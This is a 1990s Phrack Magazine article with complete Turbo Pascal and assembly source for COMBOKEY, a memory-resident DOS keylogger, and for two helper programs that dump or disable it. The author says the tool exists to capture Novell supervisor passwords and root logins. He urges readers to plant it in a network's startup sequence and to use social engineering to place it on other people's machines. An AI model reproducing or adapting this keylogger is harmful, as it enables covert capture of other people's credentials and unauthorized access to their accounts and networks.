Title : Keytrap Revisited
Author : Sendai
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 12 of 18
COMBOKEY and the Simplistic Art of PC Hacking
-or-
KeyTrap Revisited
by Sendai
(with apologies to Dcypher)
NOTE: Of course I take no responsibility when you use this and get
kicked out of school or something stupid. Besides, why would you be so
stupid as to get caught in the first place? :-) So be careful, and have
fun. Don't get stupid.
WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:
* At least a reading knowledge of TurboPascal and 8086 assembly
* A tolerable understanding of how the PC actually works or
* A copy of Queue's "MS-DOS Programmer's Reference"
* A copy of that yellow-spined "Indespensable PC Hardware Reference" book
ON WITH IT...
It was with a little dissatisfaction that I read Dcypher's KeyTrap
article the other day (so I'm back-logged a few issues, so sue me!)
I've been foolin' around with a version of this that I first wrote about
five years ago during high school, and well, I thought mine was a little
easier to understand.
So I'm gonna show you my version, actually explain how the damn thing
works, and hope somebody out there has their day brightened by using
this program.
Note that the only reason I wrote this thing was to record passwords on
a Novell net. It will record all keypresses, but it really has limited
use other than hacking.
Fun fact: With this program, it has taken me an average of about six
hours to snag supervisor on every Novell net I've nailed. And I'm sure
you can do better. ;-)
PC KEYBOARD HANDLING 101
Okay, a quick review for those PC newbies out there. When a key is
pressed on a PC, it generates an interrupt 9 (keyboard interrupt),
causing the machine to look up the address of the 9th Interrupt Service
Routine. The ISR is typically in ROM; the interrupt vector itself is
not.
A key recorder is a program that simply latches itself into the
interrupt 9 handler by replacing the old vector with its own address.
By doing this, every time a key is pressed, we know about it.
ENTER COMBOKEY (That'd be the key recorder)
I differ with my strategy from Dcypher in that I don't bother going
directly to the keybard hardware. COMBOKEY just goes ahead and calls
the old ISR and then looks in the BIOS keyboard buffer to see what the
key was. Yeah, you don't get the funky-ass key combinations like
control-shift-right-alt-F2-Z, but hey, I'm just after the passwords.
When a new key is pressed, it's dumped in the buffer. When the buffer
is full, nothing happens. I'll leave writing it to a file as an
exercise to the reader.
My favorite feature, if I may say so myself, is the fact that COMBOKEY
has an API in it, sort of. Interrupt 255 is also latched and provides
the "user" an interface to the presently running copy of COMBOKEY. But
not just anyone can go poking into 255 to kill COMBOKEY or get a buffer
dump or whatever. First, you gotta send a combination.
Look at the "const" section of COMBOKEY and you'll see a constant array
of four bytes. Change these numbers to whatever the hell you want. To
use the COMBOKEY interface you need to send each of these bytes
sequentially in AX to ISR 255. Look at the "DoCombo" procedure in Dump
or Kill to see what I mean.
After you send the combo, you send one more byte that represents the
command.
Dump buffer: AX=C0h Dumps the buffer to a chunk of memory at ES:DI.
Get info: AX=C2h Sends a TinfoRec (see source) to ES:DI.
Kill: AX=C1h Deactivates the recorder.
There are two additional programs following: Dump and Kill. These just
use the interface to do their appropriate actions.
THE PROPER ETIQUETTE OF COMBOKEY
There's a good deal of social engineering involved with using COMBOKEY.
Since it works on only the machine you put it on, you have to know where
to put it in the first place to be most effective. (Or be really
resourceful and put it on every machine around.)
To maximize your amusement, get the supervisor password first, and then
put this program in the startup sequence of the network. Then go nuts.
This program gets REALLY fun when your net is equipped with TCP/IP apps
like Telnet, and some moron has their home machine hooked up to the
Net, and they actually log into it with root from your net. Instant
party.
NEAT TRICKS TO TRY
If I ever get around to it, it'd be cool to use the IPX interface to
actually broadcast the keystrokes over to a waiting machine for instant
feedback.
The next trick to try is to maybe build a hardware version of this with
a little microcontroller. A Motorola 68HC11 would do nicely. This
would get rid of the pesky problem of reseting the machine or turning
the power off.
Ah well. Comments and the like to [email protected]. Happy hunting.
-------------------------------------------------------------------------------
{ Source notes:
This'll compile on TurboPascal 6 or better. Might even work with 5.
Why Turbo? Cause it generates damn tight code, and it's much more readable
for the newbies than all assembly. }
{ComboKey - It's a TSR, so we gotta do the mem setup. }
{$M 1024, 0, 2100}
program ComboKey;
uses Dos; { For Keep() }
const
DUMP_BUFFER = $C0;
KILL_RECORDER = $C1;
GET_INFO = $C2;
BUFSIZE = 2048; { In bytes, NOT paragraphs! }
DISPLAY_MAX = 100;
combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );
type
PBuf = ^TBuf;
TBuf = Array[0..BUFSIZE-1] of Byte;
PInfoRec = ^TInfoRec;
TInfoRec = record
buffer_size: Word; { Word is 16 bit, unsigned }
overwrite: Word;
buffer_ptr: Word;
end;
var
old9o, old9s: Word; { Must be in this order! }
wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
q_top: Word absolute $40:$80;
q_bot: Word absolute $40:$82;
buffer: PBuf;
buf_ptr: Word;
overwrite_ctr: Word;
last_wptr: Word;
tumbler: Byte; { How many numbers in the combo right so far? }
procedure SetVector( int: Byte; s, o: Word);
begin
asm
push ds
cli
mov ah, 25h
mov al, int
mov ds, s
mov dx, o
int 21h
sti
pop ds
end;
end;
procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
var
offset: Word;
c: Byte;
l: Word;
ctr: Word;
begin
{ First call the old handler. Do the pushf, cause this is an
interrupt handler. }
asm
pushf
call dword ptr [old9o] { Since old9s is next, it works }
cli
end;
{ This isn't a press, but a release - ignore it. }
if last_wptr = wptr then Exit;
last_wptr:=wptr;
{ Did the queue just wrap? }
if (wptr = q_top) then offset:=q_bot-2
else offset:=wptr-2;
Inc(buf_ptr);
if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
buf_ptr:=0;
Inc(overwrite_ctr);
end;
buffer^[buf_ptr]:=Mem[$40:offset];
asm
sti
end;
end;
{ Here's the interface system. Don't bother saving the old $FF,
cause who uses it anyway?! }
procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
interrupt;
var
command: Word;
res, rdi: Word;
infoptr: PInfoRec;
l: Word;
begin
command:=AX;
res:=ES;
rdi:=DI;
if tumbler=4 then begin { we have a winner... }
tumbler:=0;
asm
sti
end;
case command of
DUMP_BUFFER: begin
asm
push ds
mov cx, BUFSIZE
mov es, [res]
mov di, [rdi]
mov ax, [WORD PTR buffer+2]
mov ds, ax
mov ax, [WORD PTR buffer]
mov si, ax
cld
rep movsb
pop ds
end;
end;
KILL_RECORDER: begin
SetVector(9, old9s, old9o);
end;
GET_INFO: begin
asm
mov es, [res]
mov di, [rdi]
mov ax, BUFSIZE
mov es:[di], ax
mov ax, [overwrite_ctr]
mov es:[di+2], ax
mov ax, [buf_ptr]
mov es:[di+4], ax
end;
end;
end;
asm
cli
end;
end;
if command=combo[tumbler] then Inc(tumbler)
else tumbler:=0;
end;
begin
asm
mov ah, $35
mov al, 9
int $21
mov ax, es
mov old9s, ax
mov old9o, bx
end;
SetVector(9, Seg(NewInt09), Ofs(NewInt09));
SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));
buffer:=New(PBuf);
buf_ptr:=0;
overwrite_ctr:=0;
last_wptr:=0;
tumbler:=0;
Keep(0);
end.
-------------------------------------------------------------------------------
{ Kills the keyrecorder }
program Kill;
const
combo0 = 01;
combo1 = 01;
combo2 = 19;
combo3 = 74;
KILL_RECORDER = $C1;
procedure ResetCombo;
var
l: Word;
begin
for l:=1 to 4 do asm
mov ax, 0
int $ff
end;
end;
procedure DoCombo;
begin
asm
mov ax, combo0
int $ff
mov ax, combo1
int $ff
mov ax, combo2
int $ff
mov ax, combo3
int $ff
end;
end;
begin
ResetCombo;
DoCombo;
asm
mov ax, KILL_RECORDER
int $ff
end;
end.
-------------------------------------------------------------------------------
{ Syntax:
DUMP DESTFILE.FIL
This'll dump the buffer information and contents to the file. If
no file is given, it goes to the screen. }
program Dump;
const
combo0 = 01;
combo1 = 01;
combo2 = 19;
combo3 = 74;
DUMP_BUFFER = $C0;
GET_INFO = $C2;
type
PInfoRec = ^TInfoRec;
TInfoRec = record
buffer_size: Word;
overwrite: Word;
buffer_ptr: Word;
end;
var
info: TInfoRec;
buffer: Array[0..8191] of Byte;
l: Word;
f: Text;
procedure ResetCombo;
var
l: Word;
begin
for l:=1 to 4 do asm
mov ax, 0
int $ff
end;
end;
procedure DoCombo;
begin
asm
mov ax, combo0
int $ff
mov ax, combo1
int $ff
mov ax, combo2
int $ff
mov ax, combo3
int $ff
end;
end;
begin
Assign(f, ParamStr(1));
Rewrite(f);
ResetCombo;
DoCombo;
asm
mov ax, SEG info
mov es, ax
mov di, OFFSET info
mov ax, GET_INFO
int $ff
end;
writeln(f,'Buffer size: ',info.buffer_size);
writeln(f,'Buffer ptr: ',info.buffer_ptr);
writeln(f,'Overwrite: ',info.overwrite);
DoCombo;
asm
mov ax, SEG buffer
mov es, ax
mov di, OFFSET buffer
mov ax, DUMP_BUFFER
int $ff
end;
for l:=0 to info.buffer_ptr do begin
write(f, Char(buffer[l]));
if buffer[l] = 13 then write(f,#10);
end;
Close(f);
end.